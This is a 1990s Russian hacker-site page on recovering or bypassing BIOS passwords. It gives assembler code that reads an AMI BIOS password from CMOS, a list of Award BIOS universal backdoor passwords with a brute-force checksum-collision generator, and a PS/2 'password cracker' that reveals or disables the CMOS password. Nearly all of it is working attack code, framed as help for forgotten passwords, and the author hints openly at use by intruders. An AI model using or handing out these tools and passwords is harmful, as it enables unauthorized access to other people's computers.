Главная
Архив новостей
Безопасность в Unix
Безопасность в Windows
Сборник FAQ'ов
Телефония, фрикинг
Кредитные карты
Криптография
Истории о хакерах
Программы, утилиты
_el@sp.sz.ru

RB2 Network

Как узнать паpоль после загpузки?


в AMI bios'e:

type  String6=string[6];
function GetAMIPassword; assembler;
asm
   cld
   les     di,@Result
   mov     si,di
   mov     al,37h
   out     70h,al
   in      al,71h
   and     al,0F0h
   xor     bx,bx
   xchg    bh,al
   stosb
@M1:
   mov     al,bl
   add     al,38h
   out     70h,al
   in      al,71h
   or      al,al
   jz      @Exit
   mov     ah,al
   xor     cl,cl
@M2:
   test    al,80h
   jz      @M3
   test    al,61h
   jnp     @M4
   stc
@M4:
   rcl     al,1
   jmp     @M6
@M3:
   test    al,61h
   jp      @M5
   stc
@M5:
   rcl     al,1
@M6:
   inc     cl
   cmp     al,bh
   jne     @M2
   inc     byte ptr es:[si]
   mov     byte ptr es:[di],cl
   inc     di
   mov     bh,ah
   inc     bl
   cmp     bl,6
   jb      @M1
@Exit:
end;

В AWARD bios'e:



В отличии от других разновидностей bios-ов, Award-bios хранит не пароль,
а его 2-байтовую контрольную сумму (кс) в cmos-e. Таким образом, обычно
существует большое количество паролей, "открывающих" машину. Но не это
главное.

В Award-bios-ах есть универсальная кс (укс). Если подобрать строку символов
(не более восьми) с той же кс, то можно заставить компьютер работать.
Разумеется, таких паролей для каждой укс существует достаточно много.
Любой из таких паролей можно назвать универсальным паролем (уп). Долгое
время в ходу были bios-ы только с одной укс (взятой, скорее всего, от
строки AWARD_SW), и было найдено несколько других уп, таких как j262,
j256, Syxz, lkwpeter, Wodj... Все эти пароли, как Вы поняли, имеют
одну и ту же кс.

Последнее время появились машины с другими укс, взятыми от каких-то
других строк или выдуманных "от балды". Видимо это связанно с
лицензированием (продажей) bios-а различным фирмам.

Но... алгоритм взятия кс от строки остался прежним и место укс в bios-е
то же самое. Пока мне известно 5 вариантов укс (2 байта по адресу
F000:EC60)

Итак, если там число 0x1EAA, то паролем может служить всем известная
комбинация AWARD_SW. Бывают также bios-ы, где по этому адресу стоят другие
числа. Для удобства по одному из вариантов уп (те, которые сгенерировала
моя программа) привожу в табличке:

     0x0604 KDD
     0x1EAA ZJAAADC
     0xBEA2 ZAAADA
     0xAAAA UAABBA
     0xFEA3 ZBAAACA

(Я подбирал пароли только из латинских заглавных букв.) Конечно,
можно было бы поискать и более осмысленные сочетания символов, имеющих
те же кс, но это дело я готов предоставить Вам (надо написать
простенькую программу, запустить ее работать на ночь, а потом
просмотреть файл в несколько сот кил :-) Для справки: четырехбуквенных
паролей для 0x1EAA-модификации bios-ов существует 11656 штук,
если брать набор символов от '!' до 'z'. Пяти-, шести-, семи- и
восьмибуквенных наберется еще больше...

Резюме: В отличии от владельцев других моделей компьютеров, Вам не
придется развинчивать корпус и искать там перемычку, сбрасывающую
cmos или вытаскивать (или, что еще хуже - закорачивать) батарейку,
если Вы забыли свой пароль, даже если этот пароль поставлен и на вход
в setup и на загрузку. Попробуйте один из вышеприведенных, авось
подойдет. Не забудте придерживать клавишу shift. Резюме для потенциальных
взломщиков не пишу - догадаетесь сами :-)


; revision history:

; 17 April 1996 - Just started :-)
; 21 April 1996 - First public release
; 29 April 1996 - Minor changes
; 30 July  1996 - Added password for 0xAAAA chechsum

;tasm /ml /m9 /zn award_cr.asm
;tlink /t/x award_cr.obj

        .MODEL  Tiny,C
        LOCALS
        .CODE
        org     100h
        P386

GETCRC macro
        xor     bx,bx
        xor     ah,ah

        mov     bl,cl

        or      ch,ch
        jz      _ret0
        mov     al,ch
        rol     bx,2
        add     bx,ax

        rol     ecx,16

        or      cl,cl
        jz      _ret1
        mov     al,cl
        rol     bx,2
        add     bx,ax

        or      ch,ch
        jz      _ret1
        mov     al,ch
        rol     bx,2
        add     bx,ax

        or      dl,dl
        jz      _ret1
        mov     al,dl
        rol     bx,2
        add     bx,ax

        or      dh,dh
        jz      _ret1
        mov     al,dh
        rol     bx,2
        add     bx,ax

        rol     edx,16

        or      dl,dl
        jz      _ret2
        mov     al,dl
        rol     bx,2
        add     bx,ax

        or      dh,dh
        jz      _ret2
        mov     al,dh
        rol     bx,2
        add     bx,ax
_ret2:
        rol     edx,16
_ret1:
        rol     ecx,16
_ret0:
        endm

start:
        mov     dx,offset msg
        mov     ah,9
        int     21h

        cld
        mov     ax,0F000h
        mov     es,ax
        xor     bx,bx
_loop:
        mov     di,bx
        mov     si,offset pattern
        mov     cx,18
        rep     cmpsw
        jcxz    _award
        inc     bx
        cmp     bx,0FFFFh-36
        jne     _loop

        mov     dx,offset badbios
        mov     ah,9
        jmp     _p

_award:
        mov     cx,es:[0EC60h]
        mov     ah,9
        mov     dx,offset m1eaa
        cmp     cx,01EAAh
        je      _p
        mov     dx,offset m0604
        cmp     cx,00604h
        je      _p
        mov     dx,offset mfea3
        cmp     cx,0FEA3h
        je      _p
        mov     dx,offset mbea2
        cmp     cx,0BEA2h
        je      _p
        mov     dx,offset maaaa
        cmp     cx,0AAAAh
        je      _p
        mov     word ptr _label+2,cx

        xor     ecx,ecx
        xor     edx,edx
        mov     cl,xlat[0]
        rol     ecx,16

_proc2:
        rol     edx,16
_proc1:
        rol     ecx,16
_proc:
        GETCRC
_label:
        dw      0FB81h,0
        je      _found

        xor     bx,bx
        mov     bl,cl
        mov     cl,xlat[bx]
        cmp     cl,'.'
        jne     _proc

        mov     cl,xlat[0]
        mov     bl,ch
        mov     ch,xlat[bx]
        cmp     ch,'.'
        jne     _proc

        mov     ch,cl
        rol     ecx,16
        mov     bl,cl
        mov     cl,xlat[bx]
        cmp     cl,'.'
        jne     _proc1

        mov     cl,xlat[0]
        mov     bl,ch
        mov     ch,xlat[bx]
        cmp     ch,'.'
        jne     _proc1

        mov     ch,cl
        mov     bl,dl
        mov     dl,xlat[bx]
        cmp     dl,'.'
        jne     _proc1

        mov     dl,xlat[0]
        mov     bl,dh
        mov     dh,xlat[bx]
        cmp     dh,'.'
        jne     _proc1

        mov     dh,dl
        rol     edx,16
        mov     bl,dl
        mov     dl,xlat[bx]
        cmp     dl,'.'
        jne     _proc2

        mov     dl,xlat[0]
        mov     bl,dh
        mov     dh,xlat[bx]
        cmp     dh,'.'
        jne     _proc2
_fail:
        ret
_found:
        push    edx

        mov     ah,2
        mov     dl,cl
        or      dl,dl
        jz      _ok1
        int     21h
        mov     dl,ch
        or      dl,dl
        jz      _ok1
        int     21h
        rol     ecx,16
        mov     dl,cl
        or      dl,dl
        jz      _ok1
        int     21h
        mov     dl,ch
        or      dl,dl
        jz      _ok1
        int     21h

        pop     ecx

        mov     dl,cl
        or      dl,dl
        jz      _ok0
        int     21h
        mov     dl,ch
        or      dl,dl
        jz      _ok0
        int     21h
        rol     ecx,16
        mov     dl,cl
        or      dl,dl
        jz      _ok0
        int     21h
        mov     dl,ch
        or      dl,dl
        jz      _ok0
_p:
        int     21h
_ok0:
        ret
_ok1:
        pop     eax
        ret

msg     db 'Resolving AWARD BIOS default passwords',13,10
        db 'Version as of July 30 1996',13,10
        db 'Copyleft Award Software :-)',13,10
        db 'Co-authors: Alex Bachin      ',13,10
        db '            Alexey Novojilov ',13,10
        db 'Note: pre-computed passwords are: KDD, ZBAAACA, ZAAADA, ZJAAADC, UAABBA',13,10
        db 'Wait, please...$'

badbios db 13,10,'Unknown or non-AWARD bios. Contact authors, please!$'

m0604   db 'KDD$'
mfea3   db 'ZBAAACA$'
mbea2   db 'ZAAADA$'
m1eaa   db 'ZJAAADC$'
maaaa   db 'UAABBA$'

pattern db 056h,053h,051h,052h,033h,0F6h,033h,0DBh
        db 032h,0E4h,0B9h,008h,000h,08Ah,082h,0A2h
        db 000h,00Ah,0C0h,074h,009h,0D1h,0C3h,0D1h
        db 0C3h,003h,0D8h,046h,0E2h,0EFh,093h,05Ah
        db 059h,05Bh,05Eh,0C3h

xlat    db 'A...............................................................'
        db '.BCDEFGHIJKLMNOPQRSTUVWXYZ.'

        end start



Hа PS/2 можно попытаться сделать так:

;------------ ps2psw.asm
        Ideal
        Model   Tiny
        CodeSeg
        Org     100h

Start:
        Mov     si,OffSet MsCopRt
        Call    PutSt

        In      al,92h
        Test    al,08h
        Jnz     @@Crk

        Mov     si,OffSet MsPsw1
        Call    PutSt
        Call    PutPsw
        Mov     si,OffSet MsPsw2
        Call    PutSt

        Mov     bl,0Eh

        Mov     ah,0
        Mov     al,bl
        Call    SetCMOS

        Ret
@@Crk:
        Mov     si,OffSet MsCrk1
        Call    PutSt

        Mov     bl,0Eh

        Mov     ah,80h
        Mov     al,bl
        Call    SetCMOS

        Mov     si,OffSet MsCrk2
        Call    PutSt

        Ret

MsCopRt Db      'PS/2 PassWord Cracker v1.00 by Alex Yakovlev.', 13, 10, 13, 10,
0

Proc    PutPsw
        Push    ax bx cx dx

        Mov     cx,7
        Mov     dl,38h
@@1:    Mov     al,dl
        Call    GetCMOS
        And     al,7Fh
        Mov     bx,OffSet Tabl
        Xlat
        Call    PutCh
        Inc     dl
        Loop    @@1

        Pop     dx cx bx ax
        Ret
EndP

Tabl    Db      0, 0                            ; 00 .. 01 - ?, ESC
        Db      '+1234567890='                  ; 02 .. 13 - 1st row
        Db      0, 0                            ; 14 .. 15 - BS, Tab
        Db      'QWERTYUIOP[]'                  ; 16 .. 27 - 2nd row
        Db      0, 0                            ; 28 .. 29 - Enter, Ctrl
        Db      'ASDFGHJKL', 0, 0               ; 30 .. 40 - 3rd row
        Db      '#'                             ; 41 .. 41 - ...
        Db      0                               ; 42 .. 42 - LShift
        Db      ';'                             ; 43 .. 43 - ...
        Db      'ZXCVBNM', 0, 0                 ; 44 .. 52 - 4th row

MsPsw1  Db      "The PassWord is: '", 0
MsPsw2  Db      "'.", 13, 10, 0

MsCrk1  Db      'Cracking CMOS password checking...', 13, 10, 0
MsCrk2  Db      'And now, please, turn the computer off and on,', 13, 10
        Db      '               ... and run this program again.', 13, 10, 0

Proc    PutCh
;       In:     AL - Char
;
        Push    ax dx

        Mov     ah,2
        Mov     dl,al
        Int     21h

        Pop     dx ax
        Ret
EndP

Proc    PutSt
;       In:     DS:SI - String
;
        Push    ax si
@@1:
        LodSb
        Or      al,al
        Jz      @@2
        Call    PutCh
        Jmp     @@1
@@2:
        Pop     si ax
        Ret
EndP

Proc    GetCMOS
;       In:     AL = Index
;       Out:    AL = Value
;
        Cli
        Out     70h,al
        Jmp     Short $+2
        In      al,71h
        Sti

        RetN
EndP

Proc    SetCMOS
;       In:     AL = Index, AH = Value
;
        Cli
        Out     70h,al
        Jmp     Short $+2
        Mov     al,ah
        Out     71h,al
        Sti

        RetN
EndP

Proc    CrcCMOS

        Push    ax bx cx dx

        Mov     bl,10h
        Mov     bh,32h
;;;
        Mov     dx,0FFFFh
        Xor     ah,ah
        Mov     cl,4
@@1:
        Mov     al,bl
        Call    GetCMOS
;;;;;
        Xor     dh,al
        Mov     al,dh
        Rol     ax,cl
        Xor     dx,ax
        Rol     ax,1
        Xchg    dh,dl
        Xor     dx,ax
        Ror     ax,cl
        And     al,0E0h
        Xor     dx,ax
        Ror     ax,1
        Xor     dh,al
;;;;;
        Inc     bl
        Cmp     bl,bh
        Jne     @@1
;;;
        Mov     al,32h
        Mov     ah,dh
        Call    SetCMOS
        Mov     al,33h
        Mov     ah,dl
        Call    SetCMOS

        Pop     dx cx bx ax
        Ret
EndP

End     Start
          
<== Back to main page